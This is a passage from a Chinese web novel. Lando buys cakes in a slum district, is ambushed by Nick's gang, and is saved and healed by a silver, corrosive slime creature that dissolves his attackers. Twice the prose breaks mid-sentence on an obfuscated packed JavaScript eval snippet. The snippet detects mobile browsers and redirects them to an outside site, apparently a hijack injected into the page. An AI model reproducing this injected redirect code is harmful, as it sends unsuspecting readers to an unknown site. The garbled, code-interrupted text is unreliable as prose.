“总之，你自己注意点吧。”凯·冯朝他摆了摆手，一副不欲再说的样子。 没多想，兰多推开门，直直向门口走去。 ...... 从斗兽场走回家并不远，但兰多还有点别的事情要做。 他打开随身携带的军用背包，迅速套上里面的新外套，又处理好脸上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14344857|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤口——没办法，顶着这样一身痕迹走在街上实在太惹眼了。 几分钟后，他停在一家高级蛋糕店门口。 这是下城区新开的店，小巧的门框被漆成浅蓝色，门口还放着几盆形态各异的花卉，这种精致又甜美的装潢在贫民窟里格格不入，带着一种直冒粉红泡泡的氛围。 “请排队。”门口的亚雌掀开眼瞟了他一眼，轻飘飘地问“有预约吗？” “没有。”兰多自觉地站到一边，他早已习惯了这种规矩。 要买一个还是两个呢？兰多盯着门口的展柜发呆。 要不买一个草莓塔的，再买一个草莓派吧。 毕竟今天刚赚到了一大笔钱。 想到艾希礼含着勺子，眼睛直盯着草莓蛋糕的表情，他的脸上不自觉地带上了一丝微笑。 “日安，奥尼斯阁下，阿尔文阁下。”旁边亚雌店员的声音打断了他的神游。 顺着他的眼神，兰多看见了两个被团团围住的雄虫。 “我们正好路过这里，要休息一下。”说话的是一个棕色头发的雄虫，他的脸上挂着一丝玩世不恭的笑容，直看得面前的亚雌店员有些脸红。 “噢，当然，您请进。” “奥尼斯，我是不会跟你一起进这种地方的。”在他身边，另一个红色头发，身高略矮的雄虫正冷着脸，抱臂站在一旁。 “嘿，这家店的蛋糕很出名，我的雌侍告诉我他每次来都要排队。” “您是尊贵的雄虫，当然不需要排队了。”亚雌店员连忙说道，他微微躬下身，引导这两位尊贵的雄虫上楼。 看来这家店的蛋糕是真的很好吃啊。 雄虫好像都很喜欢这种甜的发腻的小玩意，兰多内心有些动摇，他已经开始考虑，要不要再买一块香草口味的蛋糕回家，这才对得起他在这里排了那么久的队。 “这家伙可真幸运，”在他旁边，另一个雌虫店员看着同事热情地引导着两位雄虫上楼，露出憧憬的表情，“听说这两位阁下不仅是贵族，基因等级也很不错。” “是啊，”他的同事搭腔道：“要是他足够幸运，或许就能成为一位B级雄虫的雌侍了。” 兰多在心里微微摇了摇头，他其实见过这两只雄虫，就在兰多去军部的前一周，斗兽场上连续三次蝉联第一的“银霜”就是被他们买走。 兰多最后一次见到“银霜”时，他的背上全是鞭痕，在他被买走前，就连你死我活的斗兽场都没给他留下过那么深的印记。 “你还在这儿啊？”眼前的亚雌店员这才注意到兰多的存在，开口询问到： “你要买点什么？” “一块草莓流心塔，一个柠檬胡萝卜派......”咬了咬牙，兰多犹豫道：“再要一个招牌柠檬胡萝卜蛋糕吧，打包谢谢。” 钱可以再赚，还是哄弟弟开心更重要点。 反正下周只要再像这次一样多赢几次，就又能拿到钱了。 “最后一块草莓塔的被刚刚那两位阁下买走了。”亚雌没什么情绪的声音从柜台那里传来。 “喔......好的。” 兰多心里对这两只雄虫的厌恶更深了一层，他犹豫片刻，还是选择掏钱，买下了一个更贵的夹心泡芙蛋挞。 27. ㈡史莱姆？ “您的蛋糕，请拿好。” 亚雌店员将包装好的蛋糕递来，兰多愣了好一会才接下——那粉色蕾丝蝴蝶结的装饰实在太过吸睛。 “谢谢。” “欢迎下次光临。” 兰多朝他点了点头，他小心翼翼地提着那个“粉色炸弹”，走过一个狭窄的小巷，又转过一个街区，忽然发现似乎有什么不对劲。 灰白的墙角底下滴着水，顺着崎岖不平的地面流入下水道，下城区的白天一向是安静的，这里的底层雌虫甚至没有力气发出吆喝和痛吟，只是木然地数着日子活罢了。 身后一直传来凌乱的脚步声。 跟踪他的人十分谨慎，一直跟他保持在一个不远不近的距离。 兰多顿了顿，随即有意放慢脚步，再迅速奔跑起来。 身后的脚步声几乎是同时跟着加快了速度。 “嘿，你这是要去哪儿啊？” 下一个路口，他就被人堵住了。 面前的雌虫长着一头浅灰的短发，几乎剃得能看到肉色的头皮，他的身形相较之下略微矮小，布满肌肉的两臂衬得他的上半身愈发夸张。 好眼熟。 这是兰多的第一感觉。 眼下，他没时间去观察，也没时间去思考面前的雌虫到底是谁——但几乎可以肯定的是，自己之前一定见过他。 “这么急急忙忙的，是忘了什么东西在家里吗？”他的声音有一种怪异的轻柔，双眼不住地打量着兰多，露出一个狰狞的笑容。 然而话还没说完，他就被迫吐出一口带着牙的血沫来——兰多正面一拳打中了他的脸。 眼看偷袭得手，兰多并不敢恋战，他迅速转身，却发现身后早就聚集了几个吊儿郎当的雌虫，正不怀好意地打量着他。 一......二......连上带头的总共有五个。 评估了一下自身的实力，他决定转身就跑。 下一秒，一根钢管猛地向兰多的头部砸来。兰多猛地后撤，险险避开，身形如电，手中的匕首瞬间出鞘，划过一道寒光。 “当！”匕首与钢管碰撞出剧烈的火花。兰多的力道虽然不小，但对面的雌虫明显身形更为强壮，兰多被震得后退了几步。 身后的另一只雌虫狞笑着再次挥棍砸向他，这一棍直奔他的肩膀而去。 兰多闷哼一声，匕首迅速横劈过去，勉强挡住了对方的攻击。斗兽场上受的伤在此时发作起来，剧烈的疼痛让兰多死死咬住牙关，身体也变得沉重起来。 看起来，这几人并非单纯的地痞流氓，而是训练有素的打手，连配合的默契都极高。 几番交手下来，对面几个雌虫一直没能从他身上讨到什么好处，一时间，局面竟然陷入了僵持。 “呼......呼......” 空气中有信息素流动的味道。 兰多脸色巨变，他下意识地触碰颈后的抑制环，但这没什么用，等级的压制让他呼吸困难。 这绝不对劲，一般情况下，雌虫是无法散发出这么浓烈的信息素的，除非....... “好久不见啊。” 一个长相阴柔的雌虫从街角探出身来，他算是兰多的“老相识”，只是听说他不久前勾搭到了一个“大人物”，已经很久没出现在下城区了。 “尼克。”兰多眯了眯眼。 面前的雌虫往前迈了一步，一种辛辣又刺鼻的信息素随之而来，兰多下意识地捂住口鼻。 “你什么时候沦落到在下城区抢生意了。”兰多略带嘲讽地发问，脚下却时刻注意着动静，谨慎地周旋。 “哈哈，你说话还是那么难听。”尼克也不恼，他的眼里流露出一丝精光。 雌虫信息素的味道越来越浓，按理说，同为雌虫又等级较低的兰多不该对这个味道产生那么大的反应，何况兰多清楚地记得，尼克之前的等级也不过是C+而已。 “我竟然不知道你什么时候变成B级了。”兰多故作轻松地问道，一股灼热感顺着脊背往上爬。 他很清楚，这并不是一次高明的试探，但他不得不问。 “你很敏感嘛，”尼克示意手下退开一些，笑容流露出一股危险的意味，“被等级压制的感觉如何？哈哈哈，也就只有你这样的垃圾才会甘心一直做个低等雌虫。” 语毕，看兰多没有反应，他又恨恨地说：“我的体能、身手，哪一点不比那些高级雌虫强，就因为先天的等级，我就应该对他们俯首帖耳吗？” 他的情绪逐渐激动，空气中信息素的味道随之也更为强烈。 “我对你的内心独白不感兴趣”，兰多毫不犹豫地打断了他，“我只想知道，你是什么做到的。” 尼克的表情告诉了他答案——恕难奉告。 “砰——” 对面的雌虫显然对他颇为了解，也颇为忌惮，一出手就率先瞄准了他的腿。 右腿被激光枪射中的瞬间，兰多脑子里的第一反应居然是：我刚买的蛋糕啊，就这么摔了。 下一秒，他就因为无法控制平衡摔倒在地上。 “你可真是低估了你自己，要对付你，我怎么敢什么武器都不带。” 雌虫用靴子踢了踢兰多的脸，讽刺开口：“如果你能告诉我，你是从哪儿弄来这么一只雄虫，我可能会考虑放过你。” 糟了，他们是冲着艾希礼来的。 这些天的美好生活麻痹了他引以为豪的警惕心，兰多甚至不知道自己什么时候被盯上的。 “我听不懂你说的话。”兰多竭力控制着自己的表情，他紧紧握住匕首，从来没有一刻像现在这样痛恨自己的等级。 眼见兰多还想挣扎，尼克上前踩住了他受伤的右腿。 “怎么样？要不要考虑合作一下？”话音未落，他和另外几个雌虫几乎同时大笑起来。 “你可真走运啊，消失一个多月，竟然捡了个这么漂亮的宝贝回来。”他的语气中有一丝嫉妒。 兰多被迫仰躺在地上，一个黑洞洞的枪口对准了他的头。 抱歉啊.......我可能要食言了。 他下意识地闭上眼睛，然而下一秒，预想中的疼痛却没有袭来。 “喂，这......这是什么鬼东西？” “......妈的，我怎么会知道？” 耳边传来金属器物落地的声音，随即，尼克充满恐惧的喊叫冲破了他的耳膜。 兰多睁开眼，眼前的一幕，让他忍不住瞪大了眼。 一滩液体。 这是兰多的第一反应。 一滩银色的液体，在不远处的地面上缓缓流动，像是一团漂浮在空气中的水银。最恐怖的是，它显然是活物。金属色的液体像是有自我意识一般，快速地向这边逼近，就这么几秒的时间，它几乎吞噬了地面上所有的物品，发出低沉的“滋滋”声，显然有强大的腐蚀性。 “快跑，快跑！啊啊啊啊啊啊.......” 铁质武器在接触到银色液体的瞬间开始融化，消失在空气中，甚至连衣物和皮肤也在银色液体的侵蚀下开始迅速溶解，像蜡烛一样滴落。 短发雌虫的身体在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14344858|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前开始抽搐，他的肢体像黄油一样融化，从下往上，仿佛一个逐渐漏气的皮袋子。 没有血迹，也没有到处乱飞的残肢，被吞噬的活物在物理意义上“蒸发”了。 兰多发誓，某一瞬间他听到了咀嚼的声音，随之而来的是一种不可名状的恐惧，那玩意儿飞快地缠住了尼克的脚，无论他如何疯狂踢蹬，尖叫咒骂也无济于事。 “救....救......”尼克的呼救像是咕噜噜直冒的气泡，逐渐失声，再被吞噬前的最后一秒，兰多看见了他猩红充血的眼珠里写满了不可置信，下一秒，他就连同只光子枪，整个儿被吞噬殆尽。 那玩意吞噬了几个活物后有些膨胀，由整块分裂出一些半透明状的触手，金属色的表面上流动着眼睛一样的花纹——它像是从是尸体里孵化....不，应该说是寄生更合适。 鸡皮疙瘩窜上了兰多的背，他感到毛骨悚然。 他挣扎着想要翻身逃跑，却提不起一丝力气，只能下意识地抓住洒落在脚边的蛋糕。 那滩银色液体缓缓向他靠近，不知道是不是错觉，兰多总感觉它好像正在观察着自己。他想要躲避，却来不及。 就在他准备放弃抵抗时，奇怪的事情发生了。 最先被触碰到的事裸露在外的脚踝，那滩银色液体长着一个类似口器的东西，当它划过兰多的小腿时，有种被章鱼吸盘吸住的错觉。 兰多下意识地屏住呼吸，他实在太怕那玩意钻进他的口腔和鼻腔里了，那大概是一种最恐怖的死法。 像是一汪温热的水——这是他的第一感觉。 那个生物并没有攻击他，而是缓缓吞噬了他手里的草莓蛋糕。盒子在和液体接触的一刹那，迅速融化，变成了无形的物质，连里面的草莓蛋糕也瞬间消失得无影无踪。 兰多愣住了，他目光呆滞地盯着那已经消失的蛋糕，几乎不敢相信自己的眼睛。 那滩固液混合物的花纹又发生了变化，这让它看起来像是咧开了一张微笑的“嘴”。 兰多只来得及发出“啊”的一声。 下一秒，他就被整个儿吞没了。 首先体会到的是一种窒息感，与物理意义上的缺氧不同，兰多惊奇地发现，他竟然还活着。但这并不是什么值得庆幸的事，他那绵软无力的身体此时正在被不断地挤压、缠绕。 那玩意儿简直无孔不入，像是馋疯了似的舔过他全身的每一个角落，兰多紧握匕首的手无力地下垂——这是他妄图刺进这个不明软体生物前的最后的挣扎。 他浑身发痒，一开始他以为这是腐蚀的前兆，然而随着时间推移，伤口在银色液体接触的地方奇迹般地开始愈合，这让他原本剧烈的疼痛迅速减轻。 “.......？”兰多瞪大了眼睛，难以理解。 他下意识地想要说话，却发现自己的嘴里塞满了那个不明物质的“肢端”。 银色液体没有停下，它缓缓包围住兰多的伤口，逐渐将血液止住，伤口逐渐后愈合，内脏的疼痛也奇迹般消失，兰多怀疑一些液体可能通过喉管进入了自己的胃里，因为他甚至能够感受到体力的恢复。 半晌，它缓慢地从兰多身上挪了下去，那磨磨蹭蹭的速度硬是给兰多品出一股“依依不舍”的味道来。 这到底是个什么情况？ 兰多缓缓起身，环视一圈，又试探性地往前走了两步。 “啪嗒——” 那玩意亲昵地抱住了他的脚，那种黏腻的触感让兰多忍不住打了一个寒颤。 他呆呆地站在原地，彻底懵逼了。